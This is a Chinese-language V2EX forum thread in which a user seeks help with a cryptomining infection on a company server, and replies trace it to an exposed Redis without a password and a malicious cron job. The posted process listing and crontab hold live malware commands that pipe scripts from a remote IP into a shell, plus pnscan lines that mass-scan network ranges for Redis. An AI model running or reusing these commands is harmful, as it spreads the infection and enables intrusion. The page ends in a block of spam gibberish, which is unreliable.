兄弟们，公司内网好像中病毒了，怎么解决啊，求助求助啊 - V2EX
Home Sign Up Sign In
aSmallNewbie
V2EX    Java

兄弟们，公司内网好像中病毒了，怎么解决啊，求助求助啊

  •   
  •   aSmallNewbie Jan 14, 2020 5092 views
    This topic created in 2324 days ago, the information mentioned may be changed or developed.

    root 2147 2838 1 14:42 ? 00:00:00 /usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 172.108.0.0/16 6379 root 2379 1 0 12:45 ? 00:00:00 /bin/sh -c curl -fsSL http://116.62.122.90/sh.sh/ash.sh|sh root 2381 2379 0 12:45 ? 00:00:00 sh root 2409 1 0 12:45 ? 00:00:00 systemd
    root 2650 2381 0 12:45 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/bsh.sh|bash root 2652 2650 0 12:45 ? 00:00:00 bash root 2836 2652 0 12:46 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/rsh.sh|sh root 2838 2836 0 12:46 ? 00:00:00 sh root 3180 1893 0 14:42 pts/0 00:00:00 ps -ef root 11431 24106 0 1343 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/rsh.sh|sh root 11433 11431 0 13:43 ? 00:00:00 sh root 17489 1 0 13:15 ? 00:00:00 /bin/sh -c curl -fsSL http://116.62.122.90/sh.sh/ash.sh|sh root 17491 17489 0 13:15 ? 00:00:00 sh root 19785 17491 0 13:15 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/bsh.sh|bash root 19787 19785 0 13:15 ? 00:00:00 bash root 24104 31056 0 13:40 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/bsh.sh|bash root 24106 24104 0 13:40 ? 00:00:00 bash root 29590 1 0 13:00 ? 00:00:00 /bin/sh -c curl -fsSL http://116.62.122.90/sh.sh/ash.sh|sh root 29592 29590 0 13:00 ? 00:00:00 sh root 29836 29592 0 13:00 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/bsh.sh|bash root 29838 29836 0 13:00 ? 00:00:00 bash root 30220 19787 0 13:18 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/rsh.sh|sh root 30222 30220 0 13:18 ? 00:00:00 sh root 31054 1 0 13:30 ? 00:00:00 /bin/sh -c curl -fsSL http://116.62.122.90/sh.sh/ash.sh|sh root 31056 31054 0 13:30 ? 00:00:00 sh root 31492 632 2 14:42 ? 00:00:00 /usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 137.152.0.0/16 6379 root 32517 30222 2 14:42 ? 00:00:00 /usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 100.47.0.0/16 6379

    root 2650 2381 0 12:45 ? 00:00:00 bash -c curl -fsSL http://116.62.122.90/sh.sh/bsh.sh|bash 这个命令开机就开始跑 还他妈卸载我的 proc 文件系统，软件都跑不起了，怎么找到他在哪里啊 ，妈的我快气死了

  • 00:00:00
  • root
  • fssl
  • curl
    13 replies    2020-01-15 09:50:28 +08:00
    smartwusir007
        1
    smartwusir007  
       Jan 14, 2020
    哈哈，挖矿病毒
    smartwusir007
        2
    smartwusir007  
       Jan 14, 2020
    是不是有很多 cron 进程，关掉了还会重启？你看看 redis 是不是开放了外网端口，没设密码？关掉试试
    aSmallNewbie
        3
    aSmallNewbie  
    OP
       Jan 14, 2020
    @smartwusir007 对啊，我找不到他怎么自动启动起来
    aSmallNewbie
        4
    aSmallNewbie  
    OP
       Jan 14, 2020
    @smartwusir007 我去试下
    tankren
        5
    tankren  
       Jan 14, 2020   2
    断网 先把 wget curl 卸载 再慢慢找
    上次看到一个帖子 www 账号下去看 cron
    aSmallNewbie
        6
    aSmallNewbie  
    OP
       Jan 14, 2020
    @tankren 流弊啊，果然在大佬，流弊


    */15 * * * * curl -fsSL http://116.62.122.90/sh.sh/ash.sh|sh
    确实在定时任务里，找的我好苦啊
    z1154505909
        7
    z1154505909  
       Jan 14, 2020
    我公司的内部服务器也中过挖矿,
    同事说定时任务没跑,直接去找定时任务的日志,看到一个莫名奇妙的定时任务在跑.还老报错,
    看了下文件,复制代码上网上搜了一下,挖矿的,清理了一圈,
    原因就是 redis 没有设置密码,
    以前都没有映射外网端口所以一直没事,后面因为一个项目要测试,开了一下,中招了
    Xusually
        8
    Xusually  
       Jan 14, 2020
    这恶意脚本还是托管在阿里云的，不去举报投诉一下？
    aSmallNewbie
        9
    aSmallNewbie  
    OP
       Jan 14, 2020
    @Xusually 我们这是公司内网，映射到外网出了问题
    JoyBanana
        10
    JoyBanana  
       Jan 14, 2020 via Android
    论 redis 设置密码的重要性
    Xusually
        11
    Xusually  
       Jan 14, 2020
    @aSmallNewbie 嗯 我知道，我是说这个恶意脚本以及其他资源是托管在阿里云的服务器上的，你找阿里云举报一下，他的这些作恶的资源可能阿里云会封停
    ps1aniuge
        12
    ps1aniuge  
       Jan 14, 2020
    1 随着 linux 被挂马，被挖矿，被勒索增多。快过年之前，广大 it 安全督察人员（信息部锦衣卫）行动起来了，我很欣慰。
    2 还有人讨厌 win 每月更新补丁么？
    3 还在开门后一走了之？无门卫？
    hfc
        13
    hfc  
       Jan 15, 2020
    hosts 里把目标 ip 重定向到 127.0.0.1
    About     Help     Advertise     Blog     API     FAQ     Solana     3285 Online   Highest 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 46ms UTC 11:46 PVG 19:46 LAX 04:46 JFK 07:46
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86